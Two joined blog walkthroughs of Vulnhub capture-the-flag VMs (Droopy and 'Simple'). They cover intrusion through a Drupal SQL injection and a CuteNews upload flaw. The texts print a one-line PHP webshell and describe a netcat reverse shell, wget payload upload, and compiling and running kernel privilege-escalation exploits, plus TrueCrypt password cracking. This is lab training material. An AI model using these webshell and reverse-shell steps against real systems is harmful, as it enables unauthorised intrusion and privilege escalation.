Vulnhub: Droopy: v0.2 walkthrough

Another brand new VM off Vulnhub, this time it’s made by knightmare and came with two hints on how to approach the vulnerable machine: 1) Grab a copy of the rockyou wordlist, 2) It’s fun to read other people’s email. Sounds like a blast – lets begin!

As always I used ’netdiscover’ to find the IP of the server, followed by 'nmap' to see which ports were open and to get a general impression of what kind of server this is:

nmap -sV 192.168.1.32 -O -A

nmapping droopy

Only Port 80 is open, and it seems to be running Apache 2.4.7 with Drupal 7 on a Linux of some sort. Lets see what the websites have to offer. Nmap gave away a couple of files, including a robots.txt and CHANGELOG.txt. The first one seems to be the standard Drupal robots.txt, but the CHANGELOG.txt revealed that it was running Drupal version 7.30.

I fired up ‘dirb’, and it found a couple of other interesting files. Not knowing a lot about Drupal, I decided to check several of them in an attempt to find further information. One of the interesting files '/info.php' was a PHP script with phpinfo() output that revealed, that the server is running PHP 5.5.9-1, and it thinks that its hostname is droopy.knight139.co.uk.

Drupal 7.30 seems a bit old, the new one is 8.1.0, so I figured that I would try and let my old friend ‘searchsploit’ help to see if there were any known exploits for this popular CMS. Turns out that there is a few that could be applied to Drupal earlier than 7.32, so I decided to try “Drupal Core <= 7.32 - SQL Injection (PHP)”, located in ./php/webapps/34993.php (CVE-2014-3704). This one can be used to change the admin username and password (both will be set to ‘admin’) by SQL-injection. Funny how 16 lines of code can be used to compromise a popular CMS. The SQL-injection worked, and I was able to login to the admin-interface of the CMS.

Drupal admin login

I browsed around in the Drupal administration interface for a little while, and saw that there was an option to enable a PHP filter, thereby allowing PHP to be embedded in posts. I enabled the filter, and tried with my simple webshell:

<pre><?php system($_GET[‘c’]);?></pre>

Drupal webshell

... and it gave me a directorylisting, so I'm basically halfway in. Time to get a proper shell via netcat. For this purpose I used the php-reverse-shell that comes with Kali Linux, and managed to upload it directly to the server using my simple webshell and ‘wget’. Being unable to write to /var/www/html – I decided to upload the file to /tmp and then start to search for a location inside the webscope that I could copy the PHP-script to afterwards:
wget upload and move

A writeable path inside the webscope was found at /var/www/html/sites/default/files/, so I again used my very simple webshell to move the script to the new location:
move the file

Next was to spawn a listener with netcat, and call the URL with curl http://192.168.1.32/sites/default/files/reverse.php (or opening it in a browser) to activate the reverse shell.

nc -l -n -v -p 4444

got the shell!

BOOYAH! I was in, and now I needed to find a way to escalate my privileges from the www-data user to root.

I got root by using an exploit for CVE-2015-1328 (37292.c in Kali Linux), and kind of expected that this was the end of this VM, but boy was I wrong. In the /root directory there was no flag.txt, instead there was a ‘dave.tc’ file, a file for TrueCrypt. The hints did say to use the rockyou dictionary file, but I thought I got around that somehow, I guess I didn’t. Let’s see if we can brute force this sucker.

got root

Copied the file to the webroot of the VM and downloaded it to my Kali Linux, so I could brute force it there instead of the in the Droopy server.

Truecrack was my first choice of tool for this task, the hints said to use the “rock you” wordlist, but I thought I’d try with the password for the MySQL-server which I found earlier in the Drupal configuration file, unfortunately without luck. When running Truecrack, there are three different key types that can be used: ripemd160, sha512 and whirlpool. I took a qualified guess, and picked sha512, as that was the one I would have used myself.

truecrack --truecrypt ./dave.tc --key sha512 --wordlist rockyou.txt

While Truecrack was running, I continued browsing around the filesystem on the server, and found a mail from Dave to George. Dave tells George that he updated the encrypted file and set a new password – this gives a few hints, which didn’t ring a bell for me. But I started looking into the band “The Jam” and what songs they’ve done and generated a wordlist from those and tried with Truecrack, no luck once again. Also tried to grep all the words with ‘hat’ from rockyou.txt, since the word ‘hat’ somehow caught my eye in the previously mentioned mail – still no luck.

mail-from-dave

So after having spent 2-3 hours on brute forcing with Truecrack and rockyou.txt, and still not being able to find the password, I thought I’d ask if anyone else had completed it, just to make sure that I was on the right track - and since I didn't want to spend hours and hours running through the rockyou list. One of the testers of the VM was rasta_mouse from #Vulnhub, and he gave me a hint to move in the right direction. Make no mistake, the answer is in rockyou.txt, but it will take a long time to run through almost 15 million different combinations 🙂

I was close to the right solution, when I was looking for ‘hat’ inside the rockyou.txt wordfile, but the right word to search for was “academy” - this was also inside the mail from Dave to George. Next I made a wordlist with all the words that contained academy, and used that with TrueCrack.

cat rockyou.txt | grep -i academy > wordlist.txt
truecrack --truecrypt ./dave.tc --key sha512 --wordlist wordlist.txt

This speeded things up a bit, and it found the needed password for the TrueCrype volume. Since TrueCrypt is no longer a part of Kali, I had to install the new VeraCrypt instead, which can also be used to open TrueCrypt volumes as long as you set it in TrueCrypt mode with the '-tc' flag.

veracrypt -tc dave.tc

veracrypt

After Veracrypt is done doing its thing, the TrueCrypt volume is mounted in the destination, which in my case was ./crypt (you need to create the mountpoint first) and I am able to browse around. There’s a few images in a couple of folders, but the important part is in ./secret/.top/flag.txt which shows a nice banner and a message.

Mission accomplished!

Conclusion:

This was another fun CTF VM, that surprised me a bit with the TrueCrypt volume, as I already thought I was done after getting root. Even though it's always more fun to solve stuff like this yourself, this time it was really nice that I was able to get a hint from rasta_mouse in #Vulnhub, else this challenge would most likely have taken me 10 more hours of brute forcing 🙂

As a sidenote: The first thing I tried after installing the VM, was to try and login with root and the password 'toor' this worked for some reason. But since SSH was not enabled on the server, it obviously wasn't the way to go.

Vulnhub: SecTalks – BNE0x03 – ‘Simple’ walkthrough

This vulnerable VM showed up on Vulnhub.com a few days ago, even though it seems to be from late 2015. Simple is made by @RobertWinkel aka 'Bull'. There is one flag to be found, and in order to do so, I needed to figure out a way to upload a reverse shell and afterwards escalate the privileges to finally get the flag. Here's how I did it.

After booting up the image, I had to find its IP-address. I usually do this by using 'netdiscover', but this time I was a bit surprised to see that the virtual machine had two IP-addresses (I never looked into why this happened, but it seems like it had two adapters for some reason). Time to 'nmap' the server, to see which ports were open:

nmap -sV 192.168.1.28 -O --allports -A

nmap result

The result was that only port 80 was open, and that the server was running Ubuntu Linux with Apache 2.4.7 as the webserver. After a quick visit to the IP-address in my webbrowser, it turned out that there was a website running CuteNews version 2.0.3, which is actually the latest version of the CuteNews CMS. The website had a loginform, and also an option to register for a new useraccount. I tried out a different username/password combinations, like admin/admin, username/password and so on, but without any luck.

CuteNews

Thinking that since it was the latest version of CuteNews, it wouldn't be vulnerable, I moved on to see if there were anything of interest on the webserver by firing up 'dirb' and it found a couple of interesting directories with directory listing enabled. One of them was /uploads which was empty. This made me go back to researching a bit on CuteNews and it turned out that even though it was the latest version, its pretty old - and actually there's a bug which allows arbitrary fileuploads. Using 'searchsploit' I found out that Exploit-db had a working example on how to exploit this.

The example required that the fileupload of a new avatar from the user profile page had to be intercepted with a proxy, and the request should be modified into changing the filename from .jpg to .php. I decided to test with a normal .jpg file first, just to see if it actually ended up in the /uploads directory, which it did. Then I tried uploading my phpinfo.php file, which just contains - and this actually worked, the file ended up in the /uploads directory with a slightly different name, but when loading the script from the browser, it showed the output of phpinfo() - neat. Not sure why this worked, due to the example from exploit-db that I mentioned earlier.

phpinfo

The next step was to upload a simple webshell, this webshell just contained the following line:

<pre><?php system($_GET['c']);exit;?></pre>

This made it possible for me to do some reconnaissance of the filesystem and keyfiles, before moving on with a better reverse shell.
cat /etc/password

Kali Linux, which was my weapon of choice for this task, comes with a lot of different webshells (in /usr/share/webshells), and I decided to use the php-reverse-shell.php script to get a better shell together with netcat.

reverse shell

To activate the reverse shell, I used curl to call the URL, which resulted in getting a reverse shell through my netcat on port 4444. I'M IN! ... but only as the www-data Apache user. First things first, I always spawn a new and less limited shell using Python:

python -c 'import pty; pty.spawn("/bin/bash")'

I got the command above a long time ago, from a brilliant blogpost that g0tm1lk did on Basic Linux Privilege Escalation. If you haven't already, you really want to check that one out.

Next I spend quite some time lurking around in the /var/www/html directory, as my first guess was that I had to find the password for the 'bull' user, which is the only "real" user except root present on the server, and then escalate from there. Even though there is a MySQL-server running on the server, CuteNews doesn't use it - instead it stores everything in flat files, that includes the userdatabase. Unfortunately the passwords were encrypted, and I gave up brute forcing them after a little while - there had to be another way to escalate my privileges.

Searchsploit revealed a couple of exploits for Ubuntu 14.04:
searchsploit

I ended up finding three possible exploits, and found out that two of them worked. I downloaded them into /tmp from my local Kali Linux with wget, and compiled and ran them.

These worked: CVE-2016-1325, CVE-2015-1328.

gcc exploit.c -o pwn
./pwn

exploit

After getting root, all that was left was to go get the flag:

cat /root/flag.txt